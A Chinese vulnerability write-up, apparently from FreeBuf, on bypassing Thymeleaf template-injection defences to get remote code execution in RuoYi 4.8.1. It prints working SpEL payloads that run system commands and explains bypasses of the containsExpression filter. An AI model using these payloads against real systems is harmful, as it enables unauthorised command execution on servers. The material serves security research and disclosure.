某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)
免责声明本文所涉及的技术、思路和工具仅供安全研究和教学使用。严禁用于非法用途:请勿利用本文中的技术对未授权的目标进行扫描、攻击或测试。法律责任:利用本文所提供的信息而造成的任何直接或间接后果和损失,均 2025-11-25 12:15:16 Author: www.freebuf.com(查看原文) 阅读量:6 收藏

免责声明

本文所涉及的技术、思路和工具仅供安全研究和教学使用。

  • 严禁用于非法用途:请勿利用本文中的技术对未授权的目标进行扫描、攻击或测试。

  • 法律责任:利用本文所提供的信息而造成的任何直接或间接后果和损失,均由使用者本人负责,本文作者不承担任何法律责任。

  • 合规建议:请遵守《中华人民共和国网络安全法》、《中华人民共和国数据安全法》等相关法律法规。

安全研究是为了更好地防御,请做一名合法的白帽子。

回顾

在以往版本的ruoyi中, 曾爆出过ssti漏洞, 漏洞点如下
image.png

::是Themeleaf的片段选择器语法, 用来确定渲染模板中的哪一段内容
这里返回模板的片段选择器直接拼接了用户可控的fragment, 导致模板注入
但随着Themeleaf的更新, 该漏洞也就被修复了

Themeleaf3.0.11版本及之前

我们可以使用类似以下payload来利用.

__${#response.addHeader("x-cmd",
	new java.util.Scanner(
        new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk"
).useDelimiter("\\A").next()
)}__::.x

在进行模板渲染时,__ __包裹的内容是被预先执行的
image.png

Themeleaf3.0.12版本

这个版本增加了安全策略,  增加了 SpringRequestUtils和 SpringStandardExpressionUtils两个类。
diff
https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.11.RELEASE...thymeleaf-spring5-3.0.12.RELEASE?diff=unified&w=

简单来说, 主要问题就是不允许new``T()出现, 但我们依然可以使用类似以下payload绕过

__${T (java.lang.Runtime).getRuntime().exec("calc")}__::
__${#response.addHeader("x-cmd",
	nEw java.util.Scanner(
        New ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk"
).useDelimiter("\\A").next()
)}__::.x

新版本4.8.1 RCE(Themeleaf3.0.15 绕过)

最新版本的ruoyi使用了Themeleaf3.0.15

尝试之前的payload

__${T (java.lang.Runtime).getRuntime().exec("calc")}__::

image.png已经过不了checkViewNameNotInRequest的检测了

对比3.0.12 和3.0.15
https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.12.RELEASE...thymeleaf-spring5-3.0.15.RELEASE?diff=unified&w=
这个版本新增了containsExpression

private static boolean containsExpression(final String text) {
    final int textLen = text.length();
    char c;
    boolean expInit = false;
    for (int i = 0; i < textLen; i++) {
        c = text.charAt(i);
        if (!expInit) {
            if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') {
                expInit = true;
            }
        } else {
            if (c == '{') {
                return true;
            } else if (!Character.isWhitespace(c)) {
                expInit = false;
            }
        }
    }
    return false;
}

其对requestURI,paramValue做了检测, 检测到表达式后抛出错误
但实际上这个检测并不严谨, 当检测到expInit字符时, 判断逻辑是后面紧跟的字符是不是{:
如果是{则认为检测到了表达式,
如果不是{, 当其为空格时继续检测下一个字符是不是{, 不为空格则认为没有检测到表达式
问题在于第一个expInit字符后面的字符被拿去判断是否为{, 对其是否为expInit字符的检测就被跳过了
那我们其实可用构造出这样的payload逃过检测

$任意字符{} 
$${}

显然$${}是可能被利用的, 但thymeleaf并不允许执行这样的表达式

字面量替换 bypass

阅读其文档
image.png

|n4c1, ${...}|, 其中的表达式${...}可以被执行

因此可以构造:

__|$${#response.addHeader("x-cmd","n4c1")}|__::.x

这样的payload实际上等价于

__'$' + ${#response.addHeader("x-cmd","n4c1")}__

调试一下
image.png可以看见与我们的预期相同

但当我们尝试rce时其实是失败的, 这个版本把SpringStandardExpressionUtils中把之前的containsSpELInstantiationOrStatic换成了containsSpELInstantiationOrStaticOrParam, 并且对检查逻辑进行了加强, 不允许T()``new xxx``T ()``param这样的表达式内容出现, 但我们依然可以利用类似于沙箱逃逸的方法来绕过
成功RCE
image.png

安全警示与法律合规

技术本身是中立的,但使用技术的人必须有底线。

  • 切勿越界:本文介绍的漏洞复现和利用方法,仅限在自己搭建的本地靶场或经过授权的环境中进行测试。严禁对互联网上的真实目标进行扫描或攻击。

  • 法律红线:根据《中华人民共和国刑法》第285条、第286条,非法侵入计算机信息系统、破坏计算机信息系统功能等行为均构成犯罪,将面临严厉的刑事处罚。

  • 共同维护:网络安全是国家安全的一部分。作为安全从业者或爱好者,应致力于发现问题并协助修复,共同维护网络空间的和平与安全。

请时刻牢记:网络不是法外之地,行车不规范,亲人两行泪。


文章来源: https://www.freebuf.com/articles/vuls/458986.html
如有侵权请联系:admin#unsafe.sh